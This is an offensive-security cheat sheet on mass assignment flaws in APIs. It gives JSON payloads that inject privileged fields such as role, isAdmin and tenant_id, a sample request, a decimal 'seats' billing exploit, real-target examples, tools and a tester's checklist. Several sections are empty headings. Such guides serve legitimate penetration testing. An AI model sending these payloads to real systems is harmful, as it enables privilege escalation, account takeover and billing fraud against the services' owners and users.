Mass Assignment Vulnerabilities¶
Mass assignment occurs when APIs directly bind user input to internal models without filtering, allowing attackers to modify privileged fields like role, isAdmin, or status.
Quick Test¶
// Add role field to any profile update
{"name": "user", "role": "admin"}
{"isAdmin": true}
{"status": "activated"}
Detection¶
Where to find: - User profile updates (PUT/PATCH /api/users/me) - Registration endpoints - Settings modification - Any JSON/form body that updates database records
Response reveals internal fields:
{
"id": 123,
"email": "user@target.com",
"role": null, // ← Bindable?
"status": "pending", // ← Bindable?
"isAdmin": false, // ← Bindable?
"permissions": [] // ← Bindable?
}
Attack Vectors¶
1. Basic Role Escalation¶
Step 1 — Normal update:
PUT /api/users/12934 HTTP/1.1
Content-Type: application/json
{"email": "user@target.com", "firstName": "Sam"}
Response reveals schema:
Step 2 — Add privileged field:
2. Common Privileged Parameters¶
// Role-based
"role": "admin"
"roles": ["admin", "user"]
"userRole": "administrator"
"roleId": 1
// Boolean flags
"isAdmin": true
"is_admin": true
"admin": true
"verified": true
"active": true
"premium": true
// Status
"status": "approved"
"accountStatus": "active"
"emailVerified": true
// Ownership
"owner_id": 123
"org_id": 456
"tenant_id": 789
// Permissions
"permissions": ["read", "write", "admin"]
"scopes": ["admin:*"]
3. Parameter Discovery¶
From client bundles:
From GraphQL introspection:
4. Framework-Specific Exploits¶
Rails (without strong_params):
Node.js/Express (direct Object.assign):
Spring (Jackson deserialization):
5. Nested Object Manipulation¶
6. Array Parameter Pollution¶
7. ID/Ownership Override¶
8. Pricing Exploit (Type Manipulation)¶
// Server: seats_added = Math.ceil(seats)
// Billing: price = Math.floor(seats) * $60
{"seats": 1.9}
// Result: 2 seats, charged for 1
Bypasses¶
Parameter name variations:
Nested vs flat:
Type coercion:
Real Examples¶
| Target | Technique | Impact |
|---|---|---|
| FIA Driver Categorisation | roles array injection | Full admin ATO |
| Krisp | seats: 1.9 decimal exploit | Free premium seats |
Tools¶
- Param Miner (Burp) — Discover hidden parameters
- Arjun — Parameter discovery
- ParamSpider — Mine parameters from web archives
- Caido Automate — Fuzz parameter names
Checklist¶
- Map all update endpoints (PUT/PATCH/POST)
- Analyze response for internal/privileged fields
- Search client code for role/permission strings
- Try common privileged parameter names
- Test nested object structures
- Try different naming conventions
- Test array syntax variations
- Check for hidden form fields
- Test type coercion (string/int/bool)
- Verify changes persist (re-fetch object)